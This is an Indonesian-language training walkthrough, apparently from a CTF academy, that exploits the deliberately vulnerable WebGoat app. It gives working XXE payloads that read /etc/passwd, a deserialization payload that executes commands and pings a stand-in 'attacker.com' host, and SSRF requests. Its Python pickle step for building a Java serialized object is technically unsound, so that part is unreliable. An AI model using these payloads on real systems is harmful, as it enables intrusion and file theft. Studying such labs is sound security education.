TDCTF Academy Logo TDCTF ACADEMY

WebGoat - XXE, Insecure Deserialization & SSRF

Target: webgoat.vuln.cybersecurity.or.id:9090/WebGoat | Level: Menengah-Lanjut | Tools: curl, Python, Burp Suite

Challenge

WebGoat adalah aplikasi Java yang sengaja dibuat rentan oleh OWASP. Kita akan mengeksploitasi 3 kerentanan:

  1. XXE (XML External Entity) - baca file server via XML
  2. Insecure Deserialization - eksekusi kode via serialized object
  3. SSRF (Server-Side Request Forgery) - akses resource internal

Login: Buat akun baru di /WebGoat/register atau login dengan guest/guest.


1. XXE - XML External Entity

Teori

XXE memanfaatkan parser XML yang tidak aman. Kita bisa mendefinisikan entity eksternal yang membaca file dari server.

Langkah 1: Identifikasi Endpoint

Endpoint: POST /WebGoat/xxe/simple Content-Type: application/xml

Langkah 2: Payload XXE

Kirim payload untuk membaca root direktori server:

curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY root SYSTEM "file:///">
]>
<comment><text>&root;</text></comment>'

Hasil: Daftar direktori root server akan muncul di response.

Langkah 3: Baca File Sensitif

curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<comment><text>&passwd;</text></comment>'

Content-Type Bypass

Terkadang server hanya menerima JSON. Ubah Content-Type tetap application/xml:

curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/xxe/content-type \\
-H "Content-Type: application/xml" \\
-d '<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY root SYSTEM "file:///">
]>
<comment><text>&root;</text></comment>'

2. Insecure Deserialization (DES)

Teori

Java serialization memungkinkan eksekusi kode saat objek di-deserialize. readObject() menjalankan Runtime.getRuntime().exec().

Langkah 1: Bangun Payload

import base64, struct, pickle

class VulnerableTaskHolder:
__module__ = 'org.dummy.insecure.framework'
__qualname__ = 'VulnerableTaskHolder'

obj = VulnerableTaskHolder()
obj.taskAction = 'sleep 5'
obj.taskName = 'test'
obj.requestedExecutionTime = None

data = pickle.dumps(obj)
print(base64.b64encode(data).decode())

Langkah 2: Kirim Payload

TOKEN="<session_cookie_dari_WebGoat>"
PAYLOAD="<base64_dari_python>"
curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/InsecureDeserialization/task \\
-H "Cookie: JSESSIONID=$TOKEN" \\
-d "token=$PAYLOAD"

Hasil: Jika berhasil, server akan delay 5 detik.

RCE

Ubah taskAction menjadi perintah berbahaya:

obj.taskAction = 'ping -c 1 attacker.com'

3. SSRF - Server-Side Request Forgery

Teori

SSRF memaksa server melakukan request ke resource internal.

Task 1: Tampilkan Jerry

Endpoint: POST /WebGoat/SSRF/task1 Parameter: url

curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/SSRF/task1 \\
-d "url=images/jerry.png"

Task 2: Fetch External

curl -X POST http://webgoat.vuln.cybersecurity.or.id:9090/WebGoat/SSRF/task2 \\
-d "url=http://ifconfig.pro"

Kesimpulan

Vulnerability Dampak
XXE Baca file server, SSRF, DoS
Insecure Deserialization RCE pada Java aplikasi
SSRF Akses internal network, port scan

Walkthrough ini disusun untuk tujuan edukasi keamanan siber. Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI